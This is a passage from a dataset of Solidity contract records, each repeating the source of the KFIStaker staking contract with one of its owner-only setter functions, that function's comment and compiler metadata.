| //used to pause/start the contract's functionalities | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
10433,
10605
]
} | 6,916 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | setStakingTaxRate | function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
| //sets the staking rate | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
10641,
10767
]
} | 6,917 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | setUnstakingTaxRate | function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
| //sets the unstaking rate | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
10801,
10935
]
} | 6,918 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
* registers the remainder in the stakes of the sender
* records the previous earnings before updated stakes
* Emits an {OnStake} event
*/
function stake(uint _amount) external onlyRegistered() whenActive() {
//makes sure stakeholder does not stake below the minimum
require(_amount >= minimumStakeValue, "Amount is below minimum stake value.");
//makes sure stakeholder has enough balance
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates staking tax on amount
uint stakingTax = (stakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(stakingTax);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(afterTax);
//adds earnings current earnings to stakeRewards
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//updates stakeholder's stakes
stakes[msg.sender] = (stakes[msg.sender]).add(afterTax);
//emit event
emit OnStake(msg.sender, afterTax, stakingTax);
}
/**
* removes '_amount' stakes for already registered stakeholders
* deducts the unstaking tax from '_amount'
* transfers the sum of the remainder, stake rewards, referral rewards, and current eanrings to the sender
* deregisters stakeholder if all the stakes are removed
* Emits an {OnStake} event
*/
function unstake(uint _amount) external onlyRegistered() {
//makes sure _amount is not more than stake balance
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
//calculates unstaking tax
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
//calculates amount after tax
uint afterTax = _amount.sub(unstakingTax);
//sums up stakeholder's total rewards with _amount deducting unstaking tax
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//updates stakes
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.sub(_amount);
//transfers value to stakeholder
IERC20(xkfi).transfer(msg.sender, afterTax);
//conditional statement if stakeholder has no stake left
if(stakes[msg.sender] == 0) {
//deregister stakeholder
registered[msg.sender] = false;
}
//emit event
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
//transfers total active earnings to stakeholder's wallet
function withdrawEarnings() external returns (bool success) {
//calculates the total redeemable rewards
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
//makes sure user has rewards to withdraw before execution
require(totalReward > 0, 'No reward to withdraw');
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient xKFI balance in pool');
//initializes stake rewards
stakeRewards[msg.sender] = 0;
//initializes referal rewards
referralRewards[msg.sender] = 0;
//initializes referral count
referralCount[msg.sender] = 0;
//calculates unpaid period
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
//mark transaction date with remainder
lastClock[msg.sender] = now.sub(remainder);
//transfers total rewards to stakeholder
IERC20(xkfi).transfer(msg.sender, totalReward);
//emit event
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
//used to view the current reward pool
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(xkfi).balanceOf(address(this))).sub(totalStaked);
}
//used to pause/start the contract's functionalities
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
//sets the staking rate
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
//sets the unstaking rate
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
//sets the daily ROI
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
//sets the registration tax
function setRegistrationTax(uint _registrationTax) external onlyOwner() {
registrationTax = _registrationTax;
}
//sets the minimum stake value
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
//withdraws _amount from the pool to owner
function filter(uint _amount) external onlyOwner returns (bool success) {
//makes sure _amount is not more than required balance
require((IERC20(xkfi).balanceOf(address(this))).sub(totalStaked) >= _amount, 'Insufficient xKFI balance in pool');
//transfers _amount to _address
IERC20(xkfi).transfer(msg.sender, _amount);
//emit event
emit OnWithdrawal(msg.sender, _amount);
return true;
}
} | setDailyROI | function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
| //sets the daily ROI | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://f93b62858c667ddf61793b8bf080493073215d3c1136dfdb99079b8a2eb6ebf0 | {
"func_code_index": [
10968,
11070
]
} | 6,919 |
||
KFIStaker | KFIStaker.sol | 0x63d1cd65fbba57a30467198ebc2aab78a06ab245 | Solidity | KFIStaker | contract KFIStaker is Owned {
//initializing safe computations
using SafeMath for uint;
//xKFI contract address
address public xkfi;
//total amount of staked xkfi
uint public totalStaked;
//tax rate for staking in percentage
uint public stakingTaxRate; //25 = 2.5%
//tax amount for registration
uint public registrationTax;
//daily return of investment in percentage
uint public dailyROI; //150 = 1.5%
//tax rate for unstaking in percentage
uint public unstakingTaxRate; //30 = 3%
//minimum stakeable xKFI
uint public minimumStakeValue;
//pause mechanism
bool public active = true;
//mapping of stakeholder's addresses to data
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => bool) public registered;
//Events
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
/**
* @dev Sets the initial values
*/
constructor(
address _token,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _registrationTax,
uint _minimumStakeValue) public {
//set initial state variables
xkfi = _token;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
registrationTax = _registrationTax;
minimumStakeValue = _minimumStakeValue;
}
//exclusive access for registered address
modifier onlyRegistered() {
require(registered[msg.sender] == true, "Stakeholder must be registered");
_;
}
//exclusive access for unregistered address
modifier onlyUnregistered() {
require(registered[msg.sender] == false, "Stakeholder is already registered");
_;
}
//make sure contract is active
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
/**
* registers and creates stakes for new stakeholders
* deducts the registration tax and staking tax
* calculates refferal bonus from the registration tax and sends it to the _referrer if there is one
* transfers xKFI from sender's address into the smart contract
* Emits an {OnRegisterAndStake} event..
*/
function registerAndStake(uint _amount, address _referrer) external onlyUnregistered() whenActive() {
//makes sure user is not the referrer
require(msg.sender != _referrer, "Cannot refer self");
//makes sure referrer is registered already
require(registered[_referrer] || address(0x0) == _referrer, "Referrer must be registered");
//makes sure user has enough amount
require(IERC20(xkfi).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
//makes sure amount is more than the registration fee and the minimum deposit
require(_amount >= registrationTax.add(minimumStakeValue), "Must send at least enough xKFI to pay registration fee.");
//makes sure smart contract transfers xKFI from user
require(IERC20(xkfi).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
//calculates final amount after deducting registration tax
uint finalAmount = _amount.sub(registrationTax);
//calculates staking tax on final calculated amount
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
//conditional statement if user registers with referrer
if(_referrer != address(0x0)) {
//increase referral count of referrer
referralCount[_referrer]++;
//add referral bonus to referrer
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
//register user
registered[msg.sender] = true;
//mark the transaction date
lastClock[msg.sender] = now;
//update the total staked xKFI amount in the pool
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
//update the user's stakes deducting the staking tax
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
//emit event
emit OnRegisterAndStake(msg.sender, _amount, registrationTax.add(stakingTax), _referrer);
}
//calculates stakeholders latest unclaimed earnings
function calculateEarnings(address _stakeholder) public view returns(uint) {
//records the number of days between the last payout time and now
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
//returns earnings based on daily ROI and active days
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000);
}
/**
* creates stakes for already registered stakeholders
* deducts the staking tax from _amount inputted
